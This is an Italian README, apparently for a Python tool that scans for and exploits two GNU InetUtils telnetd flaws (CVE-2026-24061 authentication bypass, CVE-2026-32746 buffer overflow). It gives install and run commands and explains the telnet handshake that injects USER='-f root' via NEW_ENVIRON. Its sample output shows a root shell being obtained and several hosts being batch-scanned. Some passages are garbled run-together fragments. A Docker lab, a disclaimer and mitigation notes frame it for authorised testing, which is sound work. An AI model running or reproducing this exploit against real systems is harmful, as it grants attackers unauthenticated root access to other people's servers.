
scanner/exploit CVE-2026-24061 & CVE-2026-32746
Uno strumento di valutazione della sicurezza basato su Python che rileva e (dove applicabile) sfrutta due vulnerabilità critiche in GNU InetUtils telnetd:
USER (CVSS 9.8)Questo strumento è solo per test di sicurezza autorizzati e scopi educativi.
L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale. Gli autori declinano ogni responsabilità per uso improprio o danni causati da questo strumento. Usalo a tuo rischio.

TELNET_SCAN_VERBOSE=1 per vedere ogni pacchetto IAC e la narrazione passo dopo passo dell'exploitgit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Testa l'exploit contro un target notoriamente vulnerabile senza rischiare sistemi reali:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Porta: 2323
Il lab esegue un GNU InetUtils 2.5 telnetd vulnerabile in un contenitore isolato, vincolato solo a localhost. Nessuna esposizione di rete.
Effettua il debug dell'handshake Telnet e vedi esattamente cosa succede sul cavo:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
L'output verboso mostra:

1192.168.1.100 o example.com)23 se lasciata vuota)1 – Entrambe le vulnerabilità2 – Solo CVE-2026-24061 (bypass autenticazione)3 – Solo CVE-2026-32746 (buffer overflow)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Questa è una riga di commento - ignorata
223)Se CVE-2026-24061 ha successo:
id, whoami, ls)Ctrl+C per uscire dalla shell e tornare al menu dello scannerNessun terminale separato o passaggi aggiuntivi richiesti.
L'exploit segue un preciso handshake Telnet in 6 fasi per garantire la compatibilità con il vero GNU InetUtils telnetd:
DO inizialiTTYPE, TSPEED, XDISPLOC, NEW_ENVIRONUSER="-f root" tramite subnegotiation NEW_ENVIRONDO/WILL per SGA, ECHO, LINEMODE, NAWS# , root@, o $ Un thread keepalive invia IAC NOP ogni 2 secondi per impedire a ttloop() di telnetd di rilevare EOF e chiamare exit(1) prima che il payload venga elaborato.
telnetd vulnerabile passa -f root a /usr/bin/login, bypassando l'autenticazione e concedendo accesso immediato alla shell di root.
LINEMODE (RFC 1184)=== Scanner di Vulnerabilità Telnet ===
1. Scansiona un singolo target
2. Scansiona target da file (un IP/hostname per riga)
3. Esci
Scegli un'opzione: 1
Porta (default 23):
Quali test eseguire?
1. Entrambi
2. Solo CVE-2026-24061 (bypass autenticazione - fornisce shell se vulnerabile)
3. Solo CVE-2026-32746 (rilevamento buffer overflow)
Scelta [1-3]: 1
Target (IP o dominio): 192.168.1.100
[*] Risolto 192.168.1.100 -> 192.168.1.100
[*] Scansione di 192.168.1.100:23...
[*] Verifica se il servizio è raggiungibile...
[+] Servizio raggiungibile
[*] Test di CVE-2026-24061 (bypass autenticazione)...
[!] CVE-2026-24061: VULNERABILE – shell ottenuta!
============================================================
[+] SHELL DI ROOT OTTENUTA! Ora sei in una shell interattiva di root.
[+] Digita comandi direttamente qui. Premi Ctrl+C per uscire dalla shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[PASSO 1/6] Attesa negoziazione server (può richiedere fino a 15s)...
[PASSO 1/6] Ricevuti 48 byte: fffb18fffb20fffb23fffb27...
decodificato: IAC DO TERMINAL-TYPE
decodificato: IAC DO TERMINAL-SPEED
decodificato: IAC DO X-DISPLAY-LOCATION
decodificato: IAC DO NEW-ENVIRON
[PASSO 2/6] Risposta WILL a tutte le opzioni DO
[PASSO 3/6] Attesa richieste SB SEND di subnegotiation...
[PASSO 4/6] Invio risposte di subnegotiation...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[PASSO 5/6] Gestione delle restanti negoziazioni di opzioni...
[PASSO 5/6] Testo ricevuto: 'root@vuln-lab:~# '
[RISULTATO] SUCCESSO: Login root senza password tramite iniezione USER="-f root"
=== Scanner di Vulnerabilità Telnet ===
1. Scansiona un singolo target
2. Scansiona target da file (un IP/hostname per riga)
3. Esci
Scegli un'opzione: 2
Porta (default 23):
Inserisci il nome del file con i target (uno per riga): targets.txt
Quali test eseguire?
1. Entrambi
2. Solo CVE-2026-24061 (bypass autenticazione - fornisce shell se vulnerabile)
3. Solo CVE-2026-32746 (rilevamento buffer overflow)
Scelta [1-3]: 1
[*] Caricati 3 target da targets.txt
==================================================
[1/3] Scansione di 192.168.1.100:23
==================================================
[*] Risolto 192.168.1.100 -> 192.168.1.100
[+] Servizio raggiungibile
[*] Test di CVE-2026-24061...
[!] CVE-2026-24061: VULNERABILE – shell ottenuta!
[?] Shell ottenuta! Interagire ora? (y/N): n
[*] Test di CVE-2026-32746...
[+] Il server non è crashato; probabilmente non vulnerabile
==================================================
[2/3] Scansione di 192.168.1.101:23
==================================================
[-] Servizio non raggiungibile su 192.168.1.101:23
==================================================
[3/3] Scansione di example.com:23
==================================================
[*] Risolto example.com -> 93.184.216.34
[+] Servizio raggiungibile
[*] Test di CVE-2026-24061...
[+] Nessuna risposta ricevuta; potrebbe essere ancora vulnerabile
[*] Test di CVE-2026-32746...
[!] CVE-2026-32746: VULNERABILE (server crashato)
============================================================
RIEPILOGO DELLA SCANSIONE
============================================================
192.168.1.100: VULNERABILE a CVE-2026-24061
192.168.1.101: Servizio non raggiungibile
example.com: VULNERABILE a CVE-2026-32746
============================================================
Se scopri sistemi vulnerabili, applica queste correzioni:
NEW_ENVIRON USER che iniziano con -fLa directory lab/ inclusa fornisce un ambiente di test sicuro e riproducibile:
cd lab
docker compose up -d
# Attendere circa 10 secondi per l'inizializzazione di telnetd
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Porta: 2323
Caratteristiche del lab:
labuser:labpass123) per il debugFerma il lab quando hai finito:
cd lab && docker compose down

Un ringraziamento speciale a @leetcrypt – Il corretto handshake in 6 fasi, il thread keepalive, la modalità verbosa e il lab Docker sono spettacolari!
DISCLAIMER: solo per test di sicurezza autorizzati e scopi educativi.